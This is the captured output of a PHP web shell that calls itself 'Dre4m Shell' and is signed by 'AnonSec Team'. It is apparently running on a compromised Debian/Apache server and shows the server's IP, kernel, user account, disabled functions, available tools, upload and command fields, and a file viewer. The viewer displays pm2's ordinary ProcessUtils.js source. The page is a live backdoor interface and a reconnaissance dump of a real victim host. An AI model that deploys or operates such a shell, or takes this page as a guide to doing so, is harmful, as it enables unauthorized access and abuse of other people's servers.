Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.144.82.70
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/2/cwd/proc/2/task/2/root/proc/3/cwd/lib/node_modules/pm2/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/proc/2/cwd/proc/2/task/2/root/proc/3/cwd/lib/node_modules/pm2/lib/ProcessUtils.js
'use strict'

module.exports = {
  injectModules: function() {
    if (process.env.pmx !== 'false') {
      const pmx = require('@pm2/io')

      let conf = {}
      const hasSpecificConfig = typeof process.env.io === 'string' || process.env.trace === 'true'
      // pmx is already init, no need to do it twice
      if (hasSpecificConfig === false) return

      if (process.env.io) {
        const io = JSON.parse(process.env.io)
        conf = io.conf ? io.conf : conf
      }
      pmx.init(Object.assign({
        tracing: process.env.trace === 'true' || false
      }, conf))
    }
  },
  isESModule(exec_path) {
    var fs = require('fs')
    var path = require('path')
    var semver = require('semver')
    var data

    var findPackageJson = function(directory) {
      var file = path.join(directory, 'package.json')
      if (fs.existsSync(file) && fs.statSync(file).isFile()) {
        return file;
      }
      var parent = path.resolve(directory, '..')
      if (parent === directory) {
        return null;
      }
      return findPackageJson(parent)
    }

    if (semver.satisfies(process.version, '< 13.3.0'))
      return false

    if (path.extname(exec_path) === '.mjs')
      return true

    try {
      data = JSON.parse(fs.readFileSync(findPackageJson(path.dirname(exec_path))))
      if (data.type === 'module')
        return true
      else
        return false
    } catch(e) {
    }
  }
}

Anon7 - 2022
AnonSec Team